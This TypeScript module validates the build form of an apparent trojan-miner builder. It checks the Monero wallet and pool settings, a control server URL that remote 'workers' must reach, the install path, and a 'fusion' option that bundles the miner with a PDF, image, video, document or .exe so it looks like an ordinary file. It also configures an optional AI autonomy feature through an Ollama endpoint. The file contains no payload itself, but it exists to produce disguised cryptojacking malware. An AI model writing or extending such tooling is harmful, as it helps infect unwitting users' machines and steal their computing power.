import type { BuildRequest } from '../types';
import { runForgeCompatibilityChecks } from './forgeCompatibility';

export type PreflightLevel = 'ok' | 'warn' | 'error';

export interface PreflightCheck {
  id: string;
  level: PreflightLevel;
  message: string;
}

function isReachableServerUrl(url: string): boolean {
  try {
    const u = new URL(url.trim());
    const host = u.hostname.toLowerCase();
    if (host === 'localhost' || host === '127.0.0.1' || host === '::1') return false;
    if (host.startsWith('192.168.') || host.startsWith('10.')) return true;
    if (host.startsWith('172.')) {
      const parts = host.split('.');
      if (parts.length >= 2) {
        const second = parseInt(parts[1], 10);
        if (second >= 16 && second <= 31) return true;
      }
    }
    // Public hostnames (Cloudflare tunnel, domain, etc.)
    if (host.includes('.') && (u.protocol === 'http:' || u.protocol === 'https:')) return true;
    return false;
  } catch {
    return false;
  }
}

export function looksLikeXMRWallet(addr: string): boolean {
  const a = addr.trim();
  // Standard (4…, 95 chars), subaddress (8…, 97 chars), integrated (4…, 106 chars)
  return a.length >= 90 && a.length <= 106 && /^[48][0-9A-Za-z]+$/.test(a);
}

export function runForgePreflight(form: BuildRequest, fusionPrepSelected: boolean): PreflightCheck[] {
  const checks: PreflightCheck[] = [];

  if (!form.worker_name.trim()) {
    checks.push({ id: 'worker', level: 'error', message: 'Worker name is required (unique per machine).' });
  } else if (!/^[a-zA-Z0-9._-]+$/.test(form.worker_name.trim())) {
    checks.push({ id: 'worker', level: 'warn', message: 'Worker name has unusual characters; stick to letters, numbers, dash, underscore.' });
  } else {
    checks.push({ id: 'worker', level: 'ok', message: `Worker "${form.worker_name.trim()}" is valid.` });
  }

  if (!form.server_url.trim()) {
    checks.push({ id: 'server', level: 'error', message: 'Server URL is required — miners must reach your control server.' });
  } else if (!isReachableServerUrl(form.server_url)) {
    checks.push({
      id: 'server',
      level: 'error',
      message: 'Server URL must be reachable by workers — use LAN IP or your public https:// hostname, not localhost.',
    });
  } else {
    const u = new URL(form.server_url.trim());
    const hint = u.protocol === 'https:' ? 'Public/tunnel URL OK.' : 'LAN URL OK.';
    checks.push({ id: 'server', level: 'ok', message: `Control endpoint looks valid. ${hint}` });
  }

  if (!form.wallet.trim()) {
    checks.push({ id: 'wallet', level: 'error', message: 'Monero wallet address is required.' });
  } else if (!looksLikeXMRWallet(form.wallet)) {
    checks.push({ id: 'wallet', level: 'warn', message: 'Wallet does not look like a standard Monero mainnet address (starts with 4).' });
  } else {
    checks.push({ id: 'wallet', level: 'ok', message: 'Wallet address format OK.' });
  }

  if (!form.pool_host.trim()) {
    checks.push({ id: 'pool', level: 'error', message: 'Pool host is required.' });
  } else {
    checks.push({ id: 'pool', level: 'ok', message: `Pool ${form.pool_host}:${form.pool_port} configured.` });
  }

  if (form.install_base === 'custom' && !form.install_custom_base.trim()) {
    checks.push({ id: 'install', level: 'error', message: 'Custom install base path is required.' });
  } else {
    checks.push({ id: 'install', level: 'ok', message: 'Install path configuration OK.' });
  }

  const out = (form.output_dir || '').trim();
  if (!out) {
    checks.push({ id: 'output', level: 'warn', message: 'No output folder set — build will only be stored under data/builds (still downloadable).' });
  } else if (out.includes('..') || out.includes(':') || out.startsWith('\\') || out.startsWith('/')) {
    checks.push({ id: 'output', level: 'error', message: 'Output folder must be a relative path under server data_dir (example: exports).' });
  } else {
    checks.push({ id: 'output', level: 'ok', message: `Output folder: data/${out}` });
  }

  if (form.fusion_enabled) {
    if (!fusionPrepSelected) {
      checks.push({ id: 'fusion', level: 'error', message: 'Fusion is on — choose a file to fuse (PDF, PNG, video, doc, or .exe).' });
    } else {
      checks.push({ id: 'fusion', level: 'ok', message: `Fusion ready → universal ZIP with runners for ${form.fusion_output_name || 'each OS'}.` });
    }
    if (fusionPrepSelected && form.fusion_media_mode === 'embedded') {
      checks.push({
        id: 'fusion_embedded',
        level: 'warn',
        message: 'Embedded mode bakes the file into one .exe — use ZIP bundle (paired) for large images/videos or if the build fails.',
      });
    }
  }

  if (form.thread_mode === 'fixed' && form.threads < 1) {
    checks.push({ id: 'threads', level: 'error', message: 'Fixed thread count must be at least 1.' });
  }

  if (form.ai_enabled) {
    const endpoint = (form.ai_ollama_endpoint || '').trim();
    const model = (form.ai_model || '').trim();
    if (!endpoint) {
      checks.push({ id: 'ai', level: 'error', message: 'AI Autonomy is on — set the Ollama endpoint URL.' });
    } else {
      try {
        const u = new URL(endpoint);
        if (!u.protocol.startsWith('http')) {
          checks.push({ id: 'ai', level: 'warn', message: 'Ollama endpoint should use http:// or https://.' });
        } else {
          checks.push({ id: 'ai', level: 'ok', message: `Ollama endpoint ${endpoint} configured.` });
        }
      } catch {
        checks.push({ id: 'ai', level: 'error', message: 'Ollama endpoint URL is not valid.' });
      }
    }
    if (!model) {
      checks.push({ id: 'ai', level: 'warn', message: 'AI model name is empty — will default to llama3.2 on the server.' });
    } else {
      checks.push({ id: 'ai', level: 'ok', message: `AI model: ${model}` });
    }
  }

  // Incompatibility + coupling rules
  checks.push(...runForgeCompatibilityChecks(form, fusionPrepSelected));

  return checks;
}

export function preflightHasErrors(checks: PreflightCheck[]): boolean {
  return checks.some((c) => c.level === 'error');
}
